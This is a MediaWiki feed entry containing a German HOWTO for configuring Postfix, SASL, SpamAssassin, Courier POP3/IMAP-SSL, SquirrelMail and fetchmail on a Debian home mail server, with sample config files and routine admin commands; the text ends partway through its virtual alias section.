<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.oppserver.net/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SOliver</id>
	<title>OPPServer.net Wiki | OPPs Wiki - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.oppserver.net/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=SOliver"/>
	<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php/Spezial:Beitr%C3%A4ge/SOliver"/>
	<updated>2026-04-15T22:55:11Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.41.1</generator>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=POSTFIX,_COURIER_UND_SPAMASSASSIN_FAQ_INKL._SQUIRREL_WEBMAIL_AUF_EINEM_HOMESERVER&amp;diff=428</id>
		<title>POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=POSTFIX,_COURIER_UND_SPAMASSASSIN_FAQ_INKL._SQUIRREL_WEBMAIL_AUF_EINEM_HOMESERVER&amp;diff=428"/>
		<updated>2014-01-05T09:22:08Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER (Stand 15.11.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER (Stand 15.11.2013)&lt;br /&gt;
[ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.ath.cx | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root per ssh einlogen und folgende Aktionen immer als root ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 aptitude install postfix postfix-tls maildrop spamassassin spamc razor pyzor openssl courier-base courier-ssl courier-pop courier-pop-ssl courier-imap courier-imap-ssl squirrelmail squirrelmail-decode squirrelmail-locales&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POSTFIX EINRICHTEN (OHNE CACERT, zb zum einrichten einer Mailadresse fuer Cacert.org)&lt;br /&gt;
&lt;br /&gt;
/etc/postfix/main.cf bearbeiten, meine sieht wie folgt aus, smtp server ist hier mx.freenet.de als Beispiel, dort am besten einen smtp und auch eine Emailadresse des eigenen DSL Providers (funktioniert auch bei einem Root Server) nehmen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # See /usr/share/postfix/main.cf.dist for a commented, more complete version&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 # Debian specific:  Specifying a file name will cause the first&lt;br /&gt;
 # line of that file to be used as the name.  The Debian default&lt;br /&gt;
 # is /etc/mailname.&lt;br /&gt;
 #myorigin = /etc/mailname&lt;br /&gt;
 &lt;br /&gt;
 smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)&lt;br /&gt;
 biff = no&lt;br /&gt;
 &lt;br /&gt;
 # appending .domain is the MUA&#039;s job.&lt;br /&gt;
 append_dot_mydomain = no&lt;br /&gt;
 &lt;br /&gt;
 # Uncomment the next line to generate &amp;quot;delayed mail&amp;quot; warnings&lt;br /&gt;
 delay_warning_time = 4h&lt;br /&gt;
 &lt;br /&gt;
 # TLS parameters&lt;br /&gt;
 smtp_tls_key_file = /usr/share/ssl-cert/ssl-cert-snakeoil.key&lt;br /&gt;
 smtp_tls_cert_file = /usr/share/ssl-cert/ssl-cert-snakeoil.pem&lt;br /&gt;
 smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key&lt;br /&gt;
 smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem&lt;br /&gt;
 smtpd_use_tls=yes&lt;br /&gt;
 smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache&lt;br /&gt;
 smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache&lt;br /&gt;
 smtpd_sasl_local_domain = $mydomain&lt;br /&gt;
 smtpd_sasl_auth_enable = yes&lt;br /&gt;
 smtpd_sasl_security_options = noanonymous&lt;br /&gt;
 broken_sasl_auth_clients = yes&lt;br /&gt;
 smtp_sender_dependent_authentication = yes&lt;br /&gt;
 smtp_sasl_auth_enable = yes&lt;br /&gt;
 smtp_use_tls = yes&lt;br /&gt;
 smtp_sasl_security_options = noanonymous&lt;br /&gt;
 smtp_sasl_mechanism_filter = plain,login&lt;br /&gt;
 smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd&lt;br /&gt;
 smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;
 smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;
 smtpd_helo_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_invalid_hostname, reject_unauth_pipelining, reject_non_fqdn_hostname&lt;br /&gt;
 smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_invalid_hostname, reject_non_fqdn_hostname, reject_unknown_recipient_domain, reject_non_fqdn_recipient, reject_non_fqdn_sender, reject_unknown_sender_domain, reject_unauth_destination, reject_unauth_pipelining, reject_rbl_client zen.spamhaus.org, reject_rbl_client ix.dnsbl.manitu.net, reject_rbl_client bl.spamcop.org, permit&lt;br /&gt;
 smtpd_data_restrictions = reject_unauth_pipelining, permit&lt;br /&gt;
 &lt;br /&gt;
 # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for&lt;br /&gt;
 # information on enabling SSL in the smtp client.&lt;br /&gt;
 &lt;br /&gt;
 alias_maps = hash:/etc/aliases&lt;br /&gt;
 alias_database = hash:/etc/aliases&lt;br /&gt;
 # hier kommt der fqdn rein zum bsp. mail.opp.dyndns.org&lt;br /&gt;
 myhostname = mail.opp.dyndns.org&lt;br /&gt;
 # hier kommt die domain rein zum bsp. opp.dyndns.org&lt;br /&gt;
 mydomain = opp.dyndns.org&lt;br /&gt;
 myorigin = $mydomain&lt;br /&gt;
 mydestination = $mydomain, $myhostname, localhost.$mydomain, localhost&lt;br /&gt;
 disable_dns_lookups = no&lt;br /&gt;
 relay_domains = $mydestination&lt;br /&gt;
 # hier den relayhost eintragen zum bsp. mx.freenet.de&lt;br /&gt;
 relayhost = mx.freenet.de&lt;br /&gt;
 # hier en richtigen lokalen Netzbereich eintragen&lt;br /&gt;
 mynetworks = 127.0.0.0/8, 192.168.1.0/24&lt;br /&gt;
 mynetworks_style = host&lt;br /&gt;
 mailbox_command = maildrop&lt;br /&gt;
 mailbox_size_limit = 0&lt;br /&gt;
 message_size_limit = 10485760&lt;br /&gt;
 recipient_delimiter = +&lt;br /&gt;
 inet_interfaces = all&lt;br /&gt;
 inet_protocols = all&lt;br /&gt;
 virtual_alias_maps = hash:/etc/postfix/virtual&lt;br /&gt;
 virtual_alias_domains = hash:/etc/postfix/virtual&lt;br /&gt;
 # Verwende das Maildir-Format&lt;br /&gt;
 home_mailbox = Maildir/&lt;br /&gt;
&lt;br /&gt;
Die Datei /etc/aliases bearbeiten ,z.B. alle Mails fuer root an einen Systemuser weiterleiten, meine sieht wuie folgt aus.&lt;br /&gt;
&lt;br /&gt;
 # /etc/aliases&lt;br /&gt;
 mailer-daemon: postmaster&lt;br /&gt;
 postmaster: root&lt;br /&gt;
 nobody: root&lt;br /&gt;
 hostmaster: root&lt;br /&gt;
 usenet: root&lt;br /&gt;
 news: root&lt;br /&gt;
 webmaster: root&lt;br /&gt;
 www: root&lt;br /&gt;
 ftp: root&lt;br /&gt;
 abuse: root&lt;br /&gt;
 noc: root&lt;br /&gt;
 security: root&lt;br /&gt;
 root: opp&lt;br /&gt;
&lt;br /&gt;
Danach einmal:&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POSTFIX EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
Als erstes wie hier&lt;br /&gt;
 http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq&lt;br /&gt;
beschrieben ein SSL Cert erstellen.&lt;br /&gt;
&lt;br /&gt;
/etc/postfix/main.cf bearbeiten, meine sieht wie folgt aus, smtp server ist hier mx.freenet.de als Beispiel, dort am besten einen smtp und auch eine Emailadresse des eigenen DSL Providers (funktioniert auch bei einem Root Server) nehmen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # See /usr/share/postfix/main.cf.dist for a commented, more complete version&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 # Debian specific:  Specifying a file name will cause the first&lt;br /&gt;
 # line of that file to be used as the name.  The Debian default&lt;br /&gt;
 # is /etc/mailname.&lt;br /&gt;
 #myorigin = /etc/mailname&lt;br /&gt;
 &lt;br /&gt;
 smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)&lt;br /&gt;
 biff = no&lt;br /&gt;
 &lt;br /&gt;
 # appending .domain is the MUA&#039;s job.&lt;br /&gt;
 append_dot_mydomain = no&lt;br /&gt;
 &lt;br /&gt;
 # Uncomment the next line to generate &amp;quot;delayed mail&amp;quot; warnings&lt;br /&gt;
 delay_warning_time = 4h&lt;br /&gt;
 &lt;br /&gt;
 # TLS parameters&lt;br /&gt;
 smtp_tls_key_file = /usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 smtp_tls_cert_file = /usr/share/ssl-cert/URL.crt&lt;br /&gt;
 smtp_tls_CAfile = /usr/share/ssl-cert/cacert.crt&lt;br /&gt;
 smtpd_tls_key_file = /usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 smtpd_tls_cert_file = /usr/share/ssl-cert/URL.crt&lt;br /&gt;
 smtpd_use_tls=yes&lt;br /&gt;
 smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache&lt;br /&gt;
 smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache&lt;br /&gt;
 smtpd_recipient_restrictions = reject_non_fqdn_sender,reject_non_fqdn_recipient,permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination,reject_invalid_hostname,reject_non_fqdn_hostname,reject_unknown_sender_domain,reject_unauth_pipelining&lt;br /&gt;
 smtpd_sasl_local_domain = $mydomain&lt;br /&gt;
 smtpd_sasl_auth_enable = yes&lt;br /&gt;
 smtpd_sasl_security_options = noanonymous&lt;br /&gt;
 broken_sasl_auth_clients = yes&lt;br /&gt;
 smtp_sender_dependent_authentication = yes&lt;br /&gt;
 smtp_sasl_auth_enable = yes&lt;br /&gt;
 smtp_use_tls = yes&lt;br /&gt;
 smtp_sasl_security_options = noanonymous&lt;br /&gt;
 smtp_sasl_mechanism_filter = plain,login&lt;br /&gt;
 smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd&lt;br /&gt;
 smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;
 &lt;br /&gt;
 # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for&lt;br /&gt;
 # information on enabling SSL in the smtp client.&lt;br /&gt;
 &lt;br /&gt;
 alias_maps = hash:/etc/aliases&lt;br /&gt;
 alias_database = hash:/etc/aliases&lt;br /&gt;
 # hier kommt der fqdn rein zum bsp. mail.opp.dyndns.org&lt;br /&gt;
 myhostname = mail.opp.dyndns.org&lt;br /&gt;
 # hier kommt die domain rein zum bsp. opp.dyndns.org&lt;br /&gt;
 mydomain = opp.dyndns.org&lt;br /&gt;
 myorigin = $mydomain&lt;br /&gt;
 mydestination = $mydomain, $myhostname, localhost.$mydomain, localhost&lt;br /&gt;
 disable_dns_lookups = no&lt;br /&gt;
 relay_domains = $mydestination&lt;br /&gt;
 # hier den relayhost eintragen zum bsp. mx.freenet.de&lt;br /&gt;
 relayhost = mx.freenet.de&lt;br /&gt;
 # hier en richtigen lokalen Netzbereich eintragen&lt;br /&gt;
 mynetworks = 127.0.0.0/8, 192.168.1.0/24&lt;br /&gt;
 mynetworks_style = host&lt;br /&gt;
 mailbox_command = maildrop&lt;br /&gt;
 mailbox_size_limit = 0&lt;br /&gt;
 message_size_limit = 10485760&lt;br /&gt;
 recipient_delimiter = +&lt;br /&gt;
 inet_interfaces = all&lt;br /&gt;
 inet_protocols = all&lt;br /&gt;
 virtual_alias_maps = hash:/etc/postfix/virtual&lt;br /&gt;
 virtual_alias_domains = hash:/etc/postfix/virtual&lt;br /&gt;
 # Verwende das Maildir-Format&lt;br /&gt;
 home_mailbox = Maildir/&lt;br /&gt;
&lt;br /&gt;
Die Datei /etc/aliases bearbeiten, z.B. alle Mails fuer root an einen Systemuser weiterleiten, meine sieht wie folgt aus.&lt;br /&gt;
&lt;br /&gt;
 # /etc/aliases&lt;br /&gt;
 mailer-daemon: postmaster&lt;br /&gt;
 postmaster: root&lt;br /&gt;
 nobody: root&lt;br /&gt;
 hostmaster: root&lt;br /&gt;
 usenet: root&lt;br /&gt;
 news: root&lt;br /&gt;
 webmaster: root&lt;br /&gt;
 www: root&lt;br /&gt;
 ftp: root&lt;br /&gt;
 abuse: root&lt;br /&gt;
 noc: root&lt;br /&gt;
 security: root&lt;br /&gt;
 root: opp&lt;br /&gt;
&lt;br /&gt;
Danach einmal:&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SASL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Als erstes muessen wir SASL &amp;quot;aktvieren&amp;quot;, da es nach der Installation standardmaessig deaktiviert ist. Dazu oeffnen wir die Datei /etc/default/saslauthd mit einem beliebigen Editor.&lt;br /&gt;
&lt;br /&gt;
Die Zeile&lt;br /&gt;
&lt;br /&gt;
 START=no&lt;br /&gt;
&lt;br /&gt;
muss in&lt;br /&gt;
&lt;br /&gt;
 START=yes&lt;br /&gt;
&lt;br /&gt;
geaendert werden.&lt;br /&gt;
Anschliessend sollte die Zeile&lt;br /&gt;
&lt;br /&gt;
 OPTIONS=&amp;quot;-c&amp;quot;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 OPTIONS=&amp;quot;-c -m /var/spool/postfix/var/run/saslauthd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
geaendert werden. Dies ist noetig, da Postfix in einem Chroot-Kaefig laeuft und auf den Standardsocket von SASL nicht zugreifen kann!&lt;br /&gt;
Im Chroot-Kaefig von Postfix fehlen ein paar Ordner, diese koennen wir von dpkg erzeugen lassen:&lt;br /&gt;
&lt;br /&gt;
 dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd&lt;br /&gt;
&lt;br /&gt;
Nun fuegen wir noch Postfix zur Gruppe Sasl hinzu, damit ersteres auch auf letzteres zugreifen kann&lt;br /&gt;
&lt;br /&gt;
 adduser postfix sasl&lt;br /&gt;
&lt;br /&gt;
Mail versand von intern nach extern einrichten&lt;br /&gt;
&lt;br /&gt;
Als mailrelay wird freenet genommen mit smtp auth.&lt;br /&gt;
Zuerst bei freenet eine Mailadresse besorgen,&lt;br /&gt;
dann datei anlegen und ins Postfix Dir packen.&lt;br /&gt;
&lt;br /&gt;
 touch /etc/postfix/sasl_passwd&lt;br /&gt;
&lt;br /&gt;
Dann in diese datei folgendes eintragen:&lt;br /&gt;
&lt;br /&gt;
 mx.freenet.de	user@freenet.de:passwort&lt;br /&gt;
&lt;br /&gt;
Datenbank erstellen:&lt;br /&gt;
&lt;br /&gt;
 postmap hash:/etc/postfix/sasl_passwd&lt;br /&gt;
&lt;br /&gt;
Jetzt muessen wir Postfix noch kurz beibringen, wie es auf SASL zur Authentifizierung zugreifen kann.&lt;br /&gt;
Dazu legen wir die Datei /etc/postfix/sasl/smtpd.conf (touch /etc/postfix/sasl/smtpd.conf) mit folgendem Inhalt an:&lt;br /&gt;
&lt;br /&gt;
 pwcheck_method: saslauthd&lt;br /&gt;
 mech_list: digest-md5 cram-md5 login plain&lt;br /&gt;
 autotransition:true&lt;br /&gt;
 saslauthd_path: /var/run/saslauthd/mux&lt;br /&gt;
 pwcheck_method: saslauthd&lt;br /&gt;
&lt;br /&gt;
Anschliessend kann der saslauthd gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/saslauthd start&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SPAMASSASSIN EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Als erstes aktivieren wir Spamassassin, da auch dieses bei der Standardinstallation deaktviert ist. Dazu bearbeiten wir die Datei /etc/default/spamassassin mit einem beliebigen Texteditor.&lt;br /&gt;
Aendern Sie die Zeile&lt;br /&gt;
&lt;br /&gt;
 ENABLED=0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ENABLED=1&lt;br /&gt;
&lt;br /&gt;
und starten sie Spamassassin anschliessend:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/spamassassin start&lt;br /&gt;
&lt;br /&gt;
Ich werde hier nicht sehr detailliert auf die Konfiguration von Spamassassin eingehen, da dies den Rahmen dieses Howtos erheblich sprengen wuerde.&lt;br /&gt;
&lt;br /&gt;
Erstellen vom Razor Account&lt;br /&gt;
&lt;br /&gt;
 rm /etc/razor/razor-agent.conf&lt;br /&gt;
 razor-admin -create&lt;br /&gt;
 razor-admin -create&lt;br /&gt;
 razor-admin -register&lt;br /&gt;
&lt;br /&gt;
Wenn beim Erstellen des Kontos Fehler auftreten, ist es eventuell notwendig es mehrfach zu versuchen, da der Server eventuell ausgelastet ist.&lt;br /&gt;
&lt;br /&gt;
Anschliessend editieren wir /root/.razor/razor-agent.conf wieder mit einem Texteditor und setzen den Debuglevel auf Null.&lt;br /&gt;
&lt;br /&gt;
nun bearbeiten wir die Konfigurationsdatei von Spamassassin (/etc/spamassassin/local.cf) mit einem Texteditor.&lt;br /&gt;
Haengen Sie die folgenden Zeilen an die Datei an:&lt;br /&gt;
&lt;br /&gt;
 # Verwende Razor&lt;br /&gt;
 use_razor2 1&lt;br /&gt;
 # Verwende Pyzor&lt;br /&gt;
 use_pyzor 1&lt;br /&gt;
 # Verwende DCC&lt;br /&gt;
 use_dcc 1&lt;br /&gt;
 # Verwende Bayes Filter&lt;br /&gt;
 use_bayes 1&lt;br /&gt;
 use_bayes_rules 1&lt;br /&gt;
 bayes_auto_learn 1&lt;br /&gt;
 # Ab diesem Score wird eine Mail als SPAM markiert&lt;br /&gt;
 required_score 5.0&lt;br /&gt;
&lt;br /&gt;
Mit dem letzten Parameter werden sie vermutlich ein wenig rumspielen wollen, da die Einstufung ob eine Mail Spam ist oder nicht, von ihnen und nicht von mir abhaengt.&lt;br /&gt;
&lt;br /&gt;
Anschliessend muss Spamassassin noch neugestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/spamassassin restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MAILDROP EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Nun bearbeiten wir die Konfigurationsdatei von maildrop /etc/maildroprc.&lt;br /&gt;
&lt;br /&gt;
Aendern Sie die Zeile&lt;br /&gt;
&lt;br /&gt;
 #DEFAULT=&amp;quot;$HOME/Maildir&amp;quot;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 DEFAULT=&amp;quot;$HOME/Maildir&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Postfix neu laden:&lt;br /&gt;
 postfix reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER POP3-SSL EINRICHTEN (OHNE CACERT, zb zum einrichten einer mailadresse fuer cacert.org)&lt;br /&gt;
&lt;br /&gt;
Als naechstes wird courier-pop3 SSL beigebracht. Dazu wird die datei pop3d.cnf bearbeitet:&lt;br /&gt;
&lt;br /&gt;
 RANDFILE = /usr/lib/courier/pop3d.rand&lt;br /&gt;
 &lt;br /&gt;
 [ req ]&lt;br /&gt;
 default_bits = 1024&lt;br /&gt;
 encrypt_key = yes&lt;br /&gt;
 distinguished_name = req_dn&lt;br /&gt;
 x509_extensions = cert_type&lt;br /&gt;
 prompt = no&lt;br /&gt;
 &lt;br /&gt;
 [ req_dn ]&lt;br /&gt;
 C=DE&lt;br /&gt;
 ST=BUNDESLAND&lt;br /&gt;
 L=STADT&lt;br /&gt;
 O=IRGENDWAS&lt;br /&gt;
 OU=IRGENDWAS&lt;br /&gt;
 CN=domain.tld &lt;br /&gt;
&lt;br /&gt;
Altes Zertifikat loeschen:&lt;br /&gt;
&lt;br /&gt;
 rm /etc/courier/pop3d.pem&lt;br /&gt;
&lt;br /&gt;
Jetzt ist es Zeit ein Zertifikat zu erstellen:&lt;br /&gt;
&lt;br /&gt;
 mkpop3dcert&lt;br /&gt;
&lt;br /&gt;
Courier nun neu starten mit:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-pop-ssl restart&lt;br /&gt;
 /etc/init.d/courier-pop restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER POP3-SSL EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
Nun noch in der /etc/courier/pop3d-ssl den pfad zur in&lt;br /&gt;
http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq erstellten PEM datei verweisen:&lt;br /&gt;
&lt;br /&gt;
 TLS_CERTFILE=/usr/share/ssl-cert/URL.pem&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-pop-ssl restart&lt;br /&gt;
 /etc/init.d/courier-pop restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER IMAP-SSL EINRICHTEN (OHNE CACERT, zb zum einrichten einer mailadresse fuer cacert.org)&lt;br /&gt;
&lt;br /&gt;
Als naechstes wird courier-imap SSL beigebracht. Dazu wird die datei imapd.cnf bearbeitet:&lt;br /&gt;
&lt;br /&gt;
 RANDFILE = /usr/lib/courier/imapd.rand&lt;br /&gt;
 &lt;br /&gt;
 [ req ]&lt;br /&gt;
 default_bits = 1024&lt;br /&gt;
 encrypt_key = yes&lt;br /&gt;
 distinguished_name = req_dn&lt;br /&gt;
 x509_extensions = cert_type&lt;br /&gt;
 prompt = no&lt;br /&gt;
 &lt;br /&gt;
 [ req_dn ]&lt;br /&gt;
 C=DE&lt;br /&gt;
 ST=BUNDESLAND&lt;br /&gt;
 L=STADT&lt;br /&gt;
 O=IRGENDWAS&lt;br /&gt;
 OU=IRGENDWAS&lt;br /&gt;
 CN=domain.tld &lt;br /&gt;
&lt;br /&gt;
Altes Zertifikat loeschen:&lt;br /&gt;
&lt;br /&gt;
 rm /etc/courier/imapd.pem&lt;br /&gt;
&lt;br /&gt;
Jetzt ist es Zeit ein Zertifikat zu erstellen:&lt;br /&gt;
&lt;br /&gt;
 mkimapdcert&lt;br /&gt;
&lt;br /&gt;
Jetzt kann courier-imap-ssl neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-imap-ssl restart&lt;br /&gt;
 /etc/init.d/courier-imap restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER IMAP-SSL EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
In der /etc/courier/imapd-ssl den pfad zur in&lt;br /&gt;
http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq erstellten PEM datei verweisen:&lt;br /&gt;
&lt;br /&gt;
 TLS_CERTFILE=/usr/share/ssl-cert/URL.pem&lt;br /&gt;
 TLS_TRUSTCERTS=/usr/share/ssl-cert/URL.crt&lt;br /&gt;
 TLS_VERIFYPEER=NONE&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-imap-ssl restart&lt;br /&gt;
 /etc/init.d/courier-imap restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQUIRRELMAIL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Mit&lt;br /&gt;
 /usr/sbin/squirrelmail-configure&lt;br /&gt;
konfigurieren wir erstmal Squirrelmail nach eigenen Wuenschen.&lt;br /&gt;
Wichtiges finde ich zb:&lt;br /&gt;
&lt;br /&gt;
 1.  Organization Preferences&lt;br /&gt;
     1.  Organization Name&lt;br /&gt;
     4.  Organization Title&lt;br /&gt;
     7.  Provider link&lt;br /&gt;
     8.  Provider name&lt;br /&gt;
&lt;br /&gt;
 10. Languages&lt;br /&gt;
     1.  Default Language       :  &amp;lt;&amp;lt;&amp;lt; aendern in de_DE&lt;br /&gt;
&lt;br /&gt;
Was hier unbedingt geaendert werden muss ist:&lt;br /&gt;
 2.  Server Settings&lt;br /&gt;
     B.  Update SMTP Settings   : localhost:25&lt;br /&gt;
          4.   SMTP Server           : localhost &amp;lt;&amp;lt;&amp;lt; hier muss die IP vom Server eingetragen werden&lt;br /&gt;
          7.   SMTP Authentication   : none &amp;lt;&amp;lt;&amp;lt; auf login stellen&lt;br /&gt;
&lt;br /&gt;
Aussehen sollte es dann etwa so:&lt;br /&gt;
 SMTP Settings&lt;br /&gt;
 -------------&lt;br /&gt;
 4.   SMTP Server           : 192.168.1.2&lt;br /&gt;
 5.   SMTP Port             : 25&lt;br /&gt;
 6.   POP before SMTP       : false&lt;br /&gt;
 7.   SMTP Authentication   : login (with IMAP username and password)&lt;br /&gt;
 8.   Secure SMTP (TLS)     : false&lt;br /&gt;
 9.   Header encryption key : &lt;br /&gt;
&lt;br /&gt;
s fuer speichern nicht vergessen danach q zum verlassen.&lt;br /&gt;
&lt;br /&gt;
Um squirrelmail zu aktivieren, muessen wir einen symlink setzen:&lt;br /&gt;
&lt;br /&gt;
 ln -s /etc/squirrelmail/apache.conf /etc/apache2/conf.d&lt;br /&gt;
&lt;br /&gt;
Nach einem Restart von apache2 ist squirrelmail sofort verfuegbar:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/apache2 restart&lt;br /&gt;
&lt;br /&gt;
Squirrelmail ist nun einsatzbereit und unter&lt;br /&gt;
&lt;br /&gt;
 http://URL/squirrelmail&lt;br /&gt;
&lt;br /&gt;
verfuegbar.&lt;br /&gt;
&lt;br /&gt;
Natuerlich kann man sich auch einen Vhost im Apache erstellen (z.B. http://webmail.URL/), dieser sollte&lt;br /&gt;
dann nach /usr/share/squirrelmail linken.&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man auch alles nach https (ssl) umleiten lassen (dazu muss der Apache natuerlich https verstehen), dazu muss man in der datei folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 #&amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;br /&gt;
 #  &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
 #    &amp;lt;Location /squirrelmail&amp;gt;&lt;br /&gt;
 #      RewriteEngine on&lt;br /&gt;
 #      RewriteCond %{HTTPS} !^on$ [NC]&lt;br /&gt;
 #      RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI}  [L]&lt;br /&gt;
 #    &amp;lt;/Location&amp;gt;&lt;br /&gt;
 #  &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 #&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;br /&gt;
   &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
     &amp;lt;Location /squirrelmail&amp;gt;&lt;br /&gt;
       RewriteEngine on&lt;br /&gt;
       RewriteCond %{HTTPS} !^on$ [NC]&lt;br /&gt;
       RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI}  [L]&lt;br /&gt;
     &amp;lt;/Location&amp;gt;&lt;br /&gt;
   &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach ein:&lt;br /&gt;
 /etc/init.d/apache2 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OPTIONAL:&lt;br /&gt;
&lt;br /&gt;
FETCHMAIL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
 aptitude install fetchmail&lt;br /&gt;
&lt;br /&gt;
Mit Fetchmail Mails von externen Postfaechern abholen:&lt;br /&gt;
Fetchmail Daemon aktivieren in /etc/default/fetchmail:&lt;br /&gt;
&lt;br /&gt;
 START_DAEMON=no&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 START_DAEMON=yes&lt;br /&gt;
&lt;br /&gt;
/etc/fetchmailrc mit folgendem Inhalt editieren, um Mails von GMX abzuholen:&lt;br /&gt;
systemuser steht fuer den User fuer den ihr eine Mailbox angelegt habt und der auf dem System geaddet ist.&lt;br /&gt;
&lt;br /&gt;
 poll pop.gmx.net proto pop3 user &amp;quot;username@gmx.net&amp;quot; with pass &amp;quot;geheim&amp;quot; is &amp;quot;systemuser&amp;quot; here&lt;br /&gt;
&lt;br /&gt;
Dann Fetchmail Daemon starten:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/fetchmail restart&lt;br /&gt;
 postfix reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VIRTUAL ALIAS&lt;br /&gt;
&lt;br /&gt;
Virtual alias anlegen, falls man z.B. noch eine 2 oder noch weiterere Domains adden moechte.&lt;br /&gt;
&lt;br /&gt;
 touch /etc/postfix/virtual&lt;br /&gt;
&lt;br /&gt;
Die Datei mit folgendem Inhalt fuellen, wobei ersteres die abzufragende Emailadresse ist und Systemuser steht fuer den User fuer den ihr eine Mailbox angelegt habt und der auf dem System geaddet ist.&lt;br /&gt;
 maildirmake /home/sytemuser/Maildir&lt;br /&gt;
